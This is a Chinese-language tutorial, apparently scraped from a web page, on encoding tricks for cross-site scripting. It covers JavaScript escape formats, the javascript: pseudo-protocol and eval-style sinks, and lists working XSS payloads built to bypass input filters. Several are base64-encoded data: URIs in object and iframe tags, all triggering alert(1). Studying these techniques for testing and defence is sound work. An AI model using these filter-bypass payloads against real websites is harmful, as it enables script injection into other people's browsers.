一,JavaScript编码:
js提供了四种字符编码的策略
1、三个八进制数字,如果不够个数,前面补0,例如"<"编码为:\074;
2、两个十六进制数字,如果不够个数,前面补0,例如"<"编码为:\x3c;
3、四个十六进制数字,如果不够个数,前面补0,例如"<"编码为:\u003c;(unicode编码)
4、对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)
- 浏览器是不会在html标签里解析js中的那些编码的! 但是onerror较特殊,onerror里的内容是当js解析的,因此可以用JSunicode编码,但是不能全部编码只能编码函数名。如果全部编码是会出错的。
- 例:(对alert过滤时使用)
复制代码
二,JavaScript编码利用
补充,弹窗方式 :
- <script type="text/javascript">
- alert(1);
- alert('2');
- alert("3");
- alert(/4/);
- alert`5`;
- </script>
复制代码- Javascript伪协议在属性值中都可以使用的
- 如:
- <a href="javascript:alert('xss')">111</a>点击111后触发弹窗。
- javascript中只识别几种编码:Jsunicode、js8进制和js16进制
- 第一种情况:
- 你输入的值存入某个变量然后最后出现在某个能把字符串当做js代码来执行的函数里!如:
- eval () 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
- setTimeout () 在几秒之后执行
- setInterval () 几秒后循环执行
- 以上都是会将字符串当做js代码执行的函数!
复制代码
三,base64编码利用
Data协议使用方法 data:资源类型;编码,内容
到目前为止遇到使用base64编码的情况大多数是这样
<a href="可控点">
<iframe src="可控点">
在这种情况下如果过滤了 <,>,' , ", javascript的话 那么要xss攻击可以这样写然后利用 base64编码!
将<img src=x onerror=alert (1)> 整条base64编码为:
PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==
- 示例:
- <script>alert(1)</script>
- <img src=1 onerror=alert(1)>
- <object data="data: text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
- <iframe src="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
- (新版浏览器已经不支持a标签)
- <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">123</a>
复制代码
|